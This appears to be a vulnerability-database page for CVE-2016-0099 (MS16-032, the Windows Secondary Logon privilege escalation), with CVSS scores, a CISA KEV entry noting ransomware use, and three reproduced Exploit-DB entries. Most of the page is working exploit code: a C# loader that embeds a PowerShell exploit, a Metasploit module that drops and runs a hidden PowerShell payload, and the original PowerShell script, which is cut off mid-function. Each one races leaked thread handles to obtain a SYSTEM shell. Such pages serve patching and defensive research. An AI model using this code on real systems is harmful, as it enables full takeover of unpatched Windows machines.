Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-264 |
Category : Permissions, Privileges, and Access Controls Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control. |
|
Metrics
Metric |
Score |
Severity |
CVSS Vector |
Source |
V3.0 |
7.8 |
HIGH |
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack VectorThis metric reflects the context by which vulnerability exploitation is possible. A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file. Attack ComplexityThis metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges RequiredThis metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources. User InteractionThis metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsAn important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. ScopeFormally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact MetricsThe Impact metrics refer to the properties of the impacted component. Confidentiality ImpactThis metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity ImpactThis metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability ImpactThis metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics
|
nvd@nist.gov |
V2 |
7.2 |
|
AV:L/AC:L/Au:N/C:C/I:C/A:C |
nvd@nist.gov |
CISA KEV (Known Exploited Vulnerabilities)
Vulnerability name : Microsoft Windows Secondary Logon Service Privilege Escalation Vulnerability
Required action : Apply updates per vendor instructions.
Known To Be Used in Ransomware Campaigns : Known
Added : 2022-03-02 23:00 +00:00
Action is due : 2022-03-23 23:00 +00:00
Important informations
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 39809
Publication date : 2016-04-24 22:00 +00:00
Author : fdiskyou
EDB Verified : Yes
# Exploit Title: Microsoft Windows 7-10 & Server 2008-2012 - Local Privilege Escalation (x32/x64) (MS16-032) (C#)
# Date: 2016-04-25
# Author: @fdiskyou
# e-mail: rui at deniable.org
# Original exploit: https://www.exploit-db.com/exploits/39719/
# All credits go to @FuzzySec
# C# version with @FuzzySec powershell code which does not rely on powershell.exe. Instead it runs from a powershell runspace environment (.NET). Helpful in security restricted environments with GPO, SRP, App Locker.
# To compile MS16-032 you need to import this project within Microsoft Visual Studio or if you don't have access to a Visual Studio installation, you can compile with csc.exe.
# It uses the System.Management.Automation namespace, so make sure you have the System.Management.Automation.dll within your source path when compiling outside of Visual Studio.
# CVE: 2016-0099
using System;
using System.IO;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.Text;
using System.Threading.Tasks;
using System.Management.Automation;
using System.Management.Automation.Host;
using System.Management.Automation.Runspaces;
namespace MS16_032
{
class Program
{
static void Main()
{
PowerShellExecutor t = new PowerShellExecutor();
t.ExecuteSynchronously();
}
}
class PowerShellExecutor
{
public static string PSInvoke_MS16_032 = System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(@"function Invoke-MS16-032 {
<#
.SYNOPSIS
    
    PowerShell implementation of MS16-032. The exploit targets all vulnerable
    operating systems that support PowerShell v2+. Credit for the discovery of
    the bug and the logic to exploit it go to James Forshaw (@tiraniddo).
    
    Targets:
    
    * Win7-Win10 & 2k8-2k12 <== 32/64 bit!
    * Tested on x32 Win7, x64 Win8, x64 2k12R2
    
    Notes:
    
    * In order for the race condition to succeed the machine must have 2+ CPU
      cores. If testing in a VM just make sure to add a core if needed mkay.
    * The exploit is pretty reliable, however ~1/6 times it will say it succeeded
      but not spawn a shell. Not sure what the issue is but just re-run and profit!
    * Want to know more about MS16-032 ==>
      https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html

.DESCRIPTION
	Author: Ruben Boonen (@FuzzySec)
	Blog: http://www.fuzzysecurity.com/
	License: BSD 3-Clause
	Required Dependencies: PowerShell v2+
	Optional Dependencies: None
    
.EXAMPLE
	C:\PS> Invoke-MS16-032
#>
	Add-Type -TypeDefinition @"
	using System;
	using System.Diagnostics;
	using System.Runtime.InteropServices;
	using System.Security.Principal;
	
	[StructLayout(LayoutKind.Sequential)]
	public struct PROCESS_INFORMATION
	{
		public IntPtr hProcess;
		public IntPtr hThread;
		public int dwProcessId;
		public int dwThreadId;
	}
	
	[StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
	public struct STARTUPINFO
	{
		public Int32 cb;
		public string lpReserved;
		public string lpDesktop;
		public string lpTitle;
		public Int32 dwX;
		public Int32 dwY;
		public Int32 dwXSize;
		public Int32 dwYSize;
		public Int32 dwXCountChars;
		public Int32 dwYCountChars;
		public Int32 dwFillAttribute;
		public Int32 dwFlags;
		public Int16 wShowWindow;
		public Int16 cbReserved2;
		public IntPtr lpReserved2;
		public IntPtr hStdInput;
		public IntPtr hStdOutput;
		public IntPtr hStdError;
	}
	
	[StructLayout(LayoutKind.Sequential)]
	public struct SQOS
	{
		public int Length;
		public int ImpersonationLevel;
		public int ContextTrackingMode;
		public bool EffectiveOnly;
	}
	
	public static class Advapi32
	{
		[DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
		public static extern bool CreateProcessWithLogonW(
			String userName,
			String domain,
			String password,
			int logonFlags,
			String applicationName,
			String commandLine,
			int creationFlags,
			int environment,
			String currentDirectory,
			ref  STARTUPINFO startupInfo,
			out PROCESS_INFORMATION processInformation);
			
		[DllImport("advapi32.dll", SetLastError=true)]
		public static extern bool SetThreadToken(
			ref IntPtr Thread,
			IntPtr Token);
			
		[DllImport("advapi32.dll", SetLastError=true)]
		public static extern bool OpenThreadToken(
			IntPtr ThreadHandle,
			int DesiredAccess,
			bool OpenAsSelf,
			out IntPtr TokenHandle);
			
		[DllImport("advapi32.dll", SetLastError=true)]
		public static extern bool OpenProcessToken(
			IntPtr ProcessHandle, 
			int DesiredAccess,
			ref IntPtr TokenHandle);
			
		[DllImport("advapi32.dll", SetLastError=true)]
		public extern static bool DuplicateToken(
			IntPtr ExistingTokenHandle,
			int SECURITY_IMPERSONATION_LEVEL,
			ref IntPtr DuplicateTokenHandle);
	}
	
	public static class Kernel32
	{
		[DllImport("kernel32.dll")]
		public static extern uint GetLastError();
	
		[DllImport("kernel32.dll", SetLastError=true)]
		public static extern IntPtr GetCurrentProcess();
	
		[DllImport("kernel32.dll", SetLastError=true)]
		public static extern IntPtr GetCurrentThread();
		
		[DllImport("kernel32.dll", SetLastError=true)]
		public static extern int GetThreadId(IntPtr hThread);
		
		[DllImport("kernel32.dll", SetLastError = true)]
		public static extern int GetProcessIdOfThread(IntPtr handle);
		
		[DllImport("kernel32.dll",SetLastError=true)]
		public static extern int SuspendThread(IntPtr hThread);
		
		[DllImport("kernel32.dll",SetLastError=true)]
		public static extern int ResumeThread(IntPtr hThread);
		
		[DllImport("kernel32.dll", SetLastError=true)]
		public static extern bool TerminateProcess(
			IntPtr hProcess,
			uint uExitCode);
	
		[DllImport("kernel32.dll", SetLastError=true)]
		public static extern bool CloseHandle(IntPtr hObject);
		
		[DllImport("kernel32.dll", SetLastError=true)]
		public static extern bool DuplicateHandle(
			IntPtr hSourceProcessHandle,
			IntPtr hSourceHandle,
			IntPtr hTargetProcessHandle,
			ref IntPtr lpTargetHandle,
			int dwDesiredAccess,
			bool bInheritHandle,
			int dwOptions);
	}
	
	public static class Ntdll
	{
		[DllImport("ntdll.dll", SetLastError=true)]
		public static extern int NtImpersonateThread(
			IntPtr ThreadHandle,
			IntPtr ThreadToImpersonate,
			ref SQOS SecurityQualityOfService);
	}
"@
	
	function Get-ThreadHandle {
		# StartupInfo Struct
		$StartupInfo = New-Object STARTUPINFO
		$StartupInfo.dwFlags = 0x00000100 # STARTF_USESTDHANDLES
		$StartupInfo.hStdInput = [Kernel32]::GetCurrentThread()
		$StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread()
		$StartupInfo.hStdError = [Kernel32]::GetCurrentThread()
		$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
		
		# ProcessInfo Struct
		$ProcessInfo = New-Object PROCESS_INFORMATION
		
		# CreateProcessWithLogonW --> lpCurrentDirectory
		$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
		
		# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
		$CallResult = [Advapi32]::CreateProcessWithLogonW(
			"user", "domain", "pass",
			0x00000002, "C:\Windows\System32\cmd.exe", "",
			0x00000004, $null, $GetCurrentPath,
			[ref]$StartupInfo, [ref]$ProcessInfo)
		
		# Duplicate handle into current process -> DUPLICATE_SAME_ACCESS
		$lpTargetHandle = [IntPtr]::Zero
		$CallResult = [Kernel32]::DuplicateHandle(
			$ProcessInfo.hProcess, 0x4,
			[Kernel32]::GetCurrentProcess(),
			[ref]$lpTargetHandle, 0, $false,
			0x00000002)
		
		# Clean up suspended process
		$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
		$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
		$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
		
		$lpTargetHandle
	}
	
	function Get-SystemToken {
		echo "`n[?] Trying thread handle: $Thread"
		echo "[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($Thread))).ProcessName)"
	
		$CallResult = [Kernel32]::SuspendThread($Thread)
		if ($CallResult -ne 0) {
			echo "[!] $Thread is a bad thread, moving on.."
			Return
		} echo "[+] Thread suspended"
		
		echo "[>] Wiping current impersonation token"
		$CallResult = [Advapi32]::SetThreadToken([ref]$Thread, [IntPtr]::Zero)
		if (!$CallResult) {
			echo "[!] SetThreadToken failed, moving on.."
			$CallResult = [Kernel32]::ResumeThread($Thread)
			echo "[+] Thread resumed!"
			Return
		}
		
		echo "[>] Building SYSTEM impersonation token"
		# SecurityQualityOfService struct
		$SQOS = New-Object SQOS
		$SQOS.ImpersonationLevel = 2 #SecurityImpersonation
		$SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS)
		# Undocumented API's, I like your style Microsoft ;)
		$CallResult = [Ntdll]::NtImpersonateThread($Thread, $Thread, [ref]$sqos)
		if ($CallResult -ne 0) {
			echo "[!] NtImpersonateThread failed, moving on.."
			$CallResult = [Kernel32]::ResumeThread($Thread)
			echo "[+] Thread resumed!"
			Return
		}
	
		$script:SysTokenHandle = [IntPtr]::Zero
		# 0x0006 --> TOKEN_DUPLICATE -bor TOKEN_IMPERSONATE
		$CallResult = [Advapi32]::OpenThreadToken($Thread, 0x0006, $false, [ref]$SysTokenHandle)
		if (!$CallResult) {
			echo "[!] OpenThreadToken failed, moving on.."
			$CallResult = [Kernel32]::ResumeThread($Thread)
			echo "[+] Thread resumed!"
			Return
		}
		
		echo "[?] Success, open SYSTEM token handle: $SysTokenHandle"
		echo "[+] Resuming thread.."
		$CallResult = [Kernel32]::ResumeThread($Thread)
	}
	
	# main() <--- ;)
	$ms16032 = @"
	 __ __ ___ ___   ___     ___ ___ ___ 
	|  V  |  _|_  | |  _|___|   |_  |_  |
	|     |_  |_| |_| . |___| | |_  |  _|
	|_|_|_|___|_____|___|   |___|___|___|
	                                    
	               [by b33f -> @FuzzySec]
"@
	
	$ms16032
	
	# Check logical processor count, race condition requires 2+
	echo "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)"
	if ($([System.Environment]::ProcessorCount) -lt 2) {
		echo "[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n"
		Return
	}
	
	# Create array for Threads & TID's
	$ThreadArray = @()
	$TidArray = @()
	
	echo "[>] Duplicating CreateProcessWithLogonW handles.."
	# Loop Get-ThreadHandle and collect thread handles with a valid TID
	for ($i=0; $i -lt 500; $i++) {
		$hThread = Get-ThreadHandle
		$hThreadID = [Kernel32]::GetThreadId($hThread)
		# Bit hacky/lazy, filters on uniq/valid TID's to create $ThreadArray
		if ($TidArray -notcontains $hThreadID) {
			$TidArray += $hThreadID
			if ($hThread -ne 0) {
				$ThreadArray += $hThread # This is what we need!
			}
		}
	}
	
	if ($($ThreadArray.length) -eq 0) {
		echo "[!] No valid thread handles were captured, exiting!"
		Return
	} else {
		echo "[?] Done, got $($ThreadArray.length) thread handle(s)!"
		echo "`n[?] Thread handle list:"
		$ThreadArray
	}
	
	echo "`n[*] Sniffing out privileged impersonation token.."
	foreach ($Thread in $ThreadArray){
	
		# Get handle to SYSTEM access token
		Get-SystemToken
		
		echo "`n[*] Sniffing out SYSTEM shell.."
		echo "`n[>] Duplicating SYSTEM token"
		$hDuplicateTokenHandle = [IntPtr]::Zero
		$CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle)
		
		# Simple PS runspace definition
		echo "[>] Starting token race"
		$Runspace = [runspacefactory]::CreateRunspace()
		$StartTokenRace = [powershell]::Create()
		$StartTokenRace.runspace = $Runspace
		$Runspace.Open()
		[void]$StartTokenRace.AddScript({
			Param ($Thread, $hDuplicateTokenHandle)
			while ($true) {
				$CallResult = [Advapi32]::SetThreadToken([ref]$Thread, $hDuplicateTokenHandle)
			}
		}).AddArgument($Thread).AddArgument($hDuplicateTokenHandle)
		$AscObj = $StartTokenRace.BeginInvoke()
		
		echo "[>] Starting process race"
		# Adding a timeout (10 seconds) here to safeguard from edge-cases
		$SafeGuard = [diagnostics.stopwatch]::StartNew()
		while ($SafeGuard.ElapsedMilliseconds -lt 10000) {
		# StartupInfo Struct
		$StartupInfo = New-Object STARTUPINFO
		$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
		
		# ProcessInfo Struct
		$ProcessInfo = New-Object PROCESS_INFORMATION
		
		# CreateProcessWithLogonW --> lpCurrentDirectory
		$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
		
		# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
		$CallResult = [Advapi32]::CreateProcessWithLogonW(
			"user", "domain", "pass",
			0x00000002, "C:\Windows\System32\cmd.exe", "",
			0x00000004, $null, $GetCurrentPath,
			[ref]$StartupInfo, [ref]$ProcessInfo)
			
		$hTokenHandle = [IntPtr]::Zero
		$CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle)
		# If we can't open the process token it's a SYSTEM shell!
		if (!$CallResult) {
			echo "[!] Holy handle leak Batman, we have a SYSTEM shell!!`n"
			$CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread)
			$StartTokenRace.Stop()
			$SafeGuard.Stop()
			Return
		}
			
		# Clean up suspended process
		$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
		$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
		$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
		}
		
		# Kill runspace & stopwatch if edge-case
		$StartTokenRace.Stop()
		$SafeGuard.Stop()
	}
}"));
public void ExecuteSynchronously()
{
InitialSessionState iss = InitialSessionState.CreateDefault();
Runspace rs = RunspaceFactory.CreateRunspace(iss);
rs.Open();
PowerShell ps = PowerShell.Create();
ps.Runspace = rs;
ps.AddScript(PSInvoke_MS16_032);
ps.AddScript("Invoke-MS16-032");
ps.AddCommand("Out-Default");
ps.Invoke();
rs.Close();
}
}
}
Exploit Database EDB-ID : 40107
Publication date : 2016-07-12 22:00 +00:00
Author : Metasploit
EDB Verified : Yes
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/payload_generator'
require 'msf/core/exploit/powershell'
require 'rex'
class MetasploitModule < Msf::Exploit::Local
Rank = NormalRanking
include Msf::Exploit::Powershell
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::File
include Msf::Post::Windows::ReflectiveDLLInjection
def initialize(info = {})
super(update_info(info,
'Name' => 'MS16-032 Secondary Logon Handle Privilege Escalation',
'Description' => %q{
This module exploits the lack of sanitization of standard handles in Windows' Secondary
Logon Service. The vulnerability is known to affect versions of Windows 7-10 and 2k8-2k12
32 and 64 bit. This module will only work against those versions of Windows with
Powershell 2.0 or later and systems with two or more CPU cores.
},
'License' => BSD_LICENSE,
'Author' =>
[
'James Forshaw', # twitter.com/tiraniddo
'b33f', # @FuzzySec, http://www.fuzzysecurity.com'
'khr0x40sh'
],
'References' =>
[
[ 'MS', 'MS16-032'],
[ 'CVE', '2016-0099'],
[ 'URL', 'https://twitter.com/FuzzySec/status/723254004042612736' ],
[ 'URL', 'https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html']
],
'DefaultOptions' =>
{
'WfsDelay' => 30,
'EXITFUNC' => 'thread'
},
'DisclosureDate' => 'Mar 21 2016',
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' =>
[
# Tested on (32 bits):
# * Windows 7 SP1
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
# Tested on (64 bits):
# * Windows 7 SP1
# * Windows 8
# * Windows 2012
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
],
'DefaultTarget' => 0
))
register_advanced_options(
[
OptString.new('W_PATH', [false, 'Where to write temporary powershell file', nil]),
OptBool.new( 'DRY_RUN', [false, 'Only show what would be done', false ]),
# How long until we DELETE file, we have a race condition here, so anything less than 60
# seconds might break
OptInt.new('TIMEOUT', [false, 'Execution timeout', 60])
], self.class)
end
def get_arch
arch = nil
if sysinfo["Architecture"] =~ /(wow|x)64/i
arch = ARCH_X86_64
elsif sysinfo["Architecture"] =~ /x86/i
arch = ARCH_X86
end
arch
end
def check
os = sysinfo["OS"]
if os !~ /win/i
# Non-Windows systems are definitely not affected.
return Exploit::CheckCode::Safe
end
Exploit::CheckCode::Detected
end
def exploit
if is_system?
fail_with(Failure::None, 'Session is already elevated')
end
arch1 = get_arch
if check == Exploit::CheckCode::Safe
print_error("Target is not Windows")
return
elsif arch1 == nil
print_error("Architecture could not be determined.")
return
end
# Exploit PoC from 'b33f'
ps_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2016-0099', 'cve_2016_0099.ps1')
vprint_status("PS1 loaded from #{ps_path}")
ms16_032 = File.read(ps_path)
cmdstr = expand_path('%windir%') << '\\System32\\windowspowershell\\v1.0\\powershell.exe'
if datastore['TARGET'] == 0 && arch1 == ARCH_X86_64
cmdstr.gsub!("System32","SYSWOW64")
print_warning("Executing 32-bit payload on 64-bit ARCH, using SYSWOW64 powershell")
vprint_warning("#{cmdstr}")
end
# payload formatted to fit dropped text file
payl = cmd_psh_payload(payload.encoded,payload.arch,{
encode_final_payload: false,
remove_comspec: true,
method: 'old'
})
payl.sub!(/.*?(?=New-Object IO)/im, "")
payl = payl.split("';$s.")[0]
payl.gsub!("''","'")
payl = "$s=#{payl}while($true){Start-Sleep 1000};"
@upfile=Rex::Text.rand_text_alpha((rand(8)+6))+".txt"
path = datastore['W_PATH'] || pwd
@upfile = "#{path}\\#{@upfile}"
fd = session.fs.file.new(@upfile,"wb")
print_status("Writing payload file, #{@upfile}...")
fd.write(payl)
fd.close
psh_cmd = "IEX `$(gc #{@upfile})"
#lpAppName
ms16_032.gsub!("$cmd","\"#{cmdstr}\"")
#lpcommandLine - capped at 1024b
ms16_032.gsub!("$args1","\" -exec Bypass -nonI -window Hidden #{psh_cmd}\"")
print_status('Compressing script contents...')
ms16_032_c = compress_script(ms16_032)
if ms16_032_c.size > 8100
print_error("Compressed size: #{ms16_032_c.size}")
error_msg = "Compressed size may cause command to exceed "
error_msg += "cmd.exe's 8kB character limit."
print_error(error_msg)
else
print_good("Compressed size: #{ms16_032_c.size}")
end
if datastore['DRY_RUN']
print_good("cmd.exe /C powershell -exec Bypass -nonI -window Hidden #{ms16_032_c}")
return
end
print_status("Executing exploit script...")
cmd = "cmd.exe /C powershell -exec Bypass -nonI -window Hidden #{ms16_032_c}"
args = nil
begin
process = session.sys.process.execute(cmd, args, {
'Hidden' => true,
'Channelized' => false
})
rescue
print_error("An error occurred executing the script.")
end
end
def cleanup
sleep_t = datastore['TIMEOUT']
vprint_warning("Sleeping #{sleep_t} seconds before deleting #{@upfile}...")
sleep sleep_t
begin
rm_f(@upfile)
print_good("Cleaned up #{@upfile}")
rescue
print_error("There was an issue with cleanup of the powershell payload script.")
end
end
end
Exploit Database EDB-ID : 39719
Publication date : 2016-04-20 22:00 +00:00
Author : b33f
EDB Verified : Yes
function Invoke-MS16-032 {
<#
.SYNOPSIS
PowerShell implementation of MS16-032. The exploit targets all vulnerable
operating systems that support PowerShell v2+. Credit for the discovery of
the bug and the logic to exploit it go to James Forshaw (@tiraniddo).
Targets:
* Win7-Win10 & 2k8-2k12 <== 32/64 bit!
* Tested on x32 Win7, x64 Win8, x64 2k12R2
Notes:
* In order for the race condition to succeed the machine must have 2+ CPU
cores. If testing in a VM just make sure to add a core if needed mkay.
* Want to know more about MS16-032 ==>
https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html
.DESCRIPTION
Author: Ruben Boonen (@FuzzySec)
Blog: http://www.fuzzysecurity.com/
License: BSD 3-Clause
Required Dependencies: PowerShell v2+
Optional Dependencies: None
.EXAMPLE
C:\PS> Invoke-MS16-032
#>
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
public struct STARTUPINFO
{
public Int32 cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
public struct SQOS
{
public int Length;
public int ImpersonationLevel;
public int ContextTrackingMode;
public bool EffectiveOnly;
}
public static class Advapi32
{
[DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
public static extern bool CreateProcessWithLogonW(
String userName,
String domain,
String password,
int logonFlags,
String applicationName,
String commandLine,
int creationFlags,
int environment,
String currentDirectory,
ref STARTUPINFO startupInfo,
out PROCESS_INFORMATION processInformation);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool SetThreadToken(
ref IntPtr Thread,
IntPtr Token);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool OpenThreadToken(
IntPtr ThreadHandle,
int DesiredAccess,
bool OpenAsSelf,
out IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool OpenProcessToken(
IntPtr ProcessHandle,
int DesiredAccess,
ref IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError=true)]
public extern static bool DuplicateToken(
IntPtr ExistingTokenHandle,
int SECURITY_IMPERSONATION_LEVEL,
ref IntPtr DuplicateTokenHandle);
}
public static class Kernel32
{
[DllImport("kernel32.dll")]
public static extern uint GetLastError();
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr GetCurrentProcess();
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr GetCurrentThread();
[DllImport("kernel32.dll", SetLastError=true)]
public static extern int GetThreadId(IntPtr hThread);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern int GetProcessIdOfThread(IntPtr handle);
[DllImport("kernel32.dll",SetLastError=true)]
public static extern int SuspendThread(IntPtr hThread);
[DllImport("kernel32.dll",SetLastError=true)]
public static extern int ResumeThread(IntPtr hThread);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool TerminateProcess(
IntPtr hProcess,
uint uExitCode);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool CloseHandle(IntPtr hObject);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool DuplicateHandle(
IntPtr hSourceProcessHandle,
IntPtr hSourceHandle,
IntPtr hTargetProcessHandle,
ref IntPtr lpTargetHandle,
int dwDesiredAccess,
bool bInheritHandle,
int dwOptions);
}
public static class Ntdll
{
[DllImport("ntdll.dll", SetLastError=true)]
public static extern int NtImpersonateThread(
IntPtr ThreadHandle,
IntPtr ThreadToImpersonate,
ref SQOS SecurityQualityOfService);
}
"@
function Get-ThreadHandle {
# StartupInfo Struct
$StartupInfo = New-Object STARTUPINFO
$StartupInfo.dwFlags = 0x00000100 # STARTF_USESTDHANDLES
$StartupInfo.hStdInput = [Kernel32]::GetCurrentThread()
$StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread()
$StartupInfo.hStdError = [Kernel32]::GetCurrentThread()
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
# ProcessInfo Struct
$ProcessInfo = New-Object PROCESS_INFORMATION
# CreateProcessWithLogonW --> lpCurrentDirectory
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
# LOGON_NETCREDENTIALS_ONLY / CREATE_SUSPENDED
$CallResult = [Advapi32]::CreateProcessWithLogonW(
"user", "domain", "pass",
0x00000002, "C:\Windows\System32\cmd.exe", "",
0x00000004, $null, $GetCurrentPath,
[ref]$StartupInfo, [ref]$ProcessInfo)
# Duplicate handle into current process -> DUPLICATE_SAME_ACCESS
$lpTargetHandle = [IntPtr]::Zero
$CallResult = [Kernel32]::DuplicateHandle(
$ProcessInfo.hProcess, 0x4,
[Kernel32]::GetCurrentProcess(),
[ref]$lpTargetHandle, 0, $false,
0x00000002)
# Clean up suspended process
$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
$lpTargetHandle
}
function Get-SystemToken {
echo "`n[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($hThread))).ProcessName)"
$CallResult = [Kernel32]::SuspendThread($hThread)
if ($CallResult -ne 0) {
echo "[!] $hThread is a bad thread, exiting.."
Return
} echo "[+] Thread suspended"
echo "[>] Wiping current impersonation token"
$CallResult = [Advapi32]::SetThreadToken([ref]$hThread, [IntPtr]::Zero)
if (!$CallResult) {
echo "[!] SetThreadToken failed, exiting.."
$CallResult = [Kernel32]::ResumeThread($hThread)
echo "[+] Thread resumed!"
Return
}
echo "[>] Building SYSTEM impersonation token"
# SecurityQualityOfService struct
$SQOS = New-Object SQOS
$SQOS.ImpersonationLevel = 2 #SecurityImpersonation
$SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS)
# Undocumented API's, I like your style Microsoft ;)
$CallResult = [Ntdll]::NtImpersonateThread($hThread, $hThread, [ref]$sqos)
if ($CallResult -ne 0) {
echo "[!] NtImpersonateThread failed, exiting.."
$CallResult = [Kernel32]::ResumeThread($hThread)
echo "[+] Thread resumed!"
Return
}
# Null $SysTokenHandle
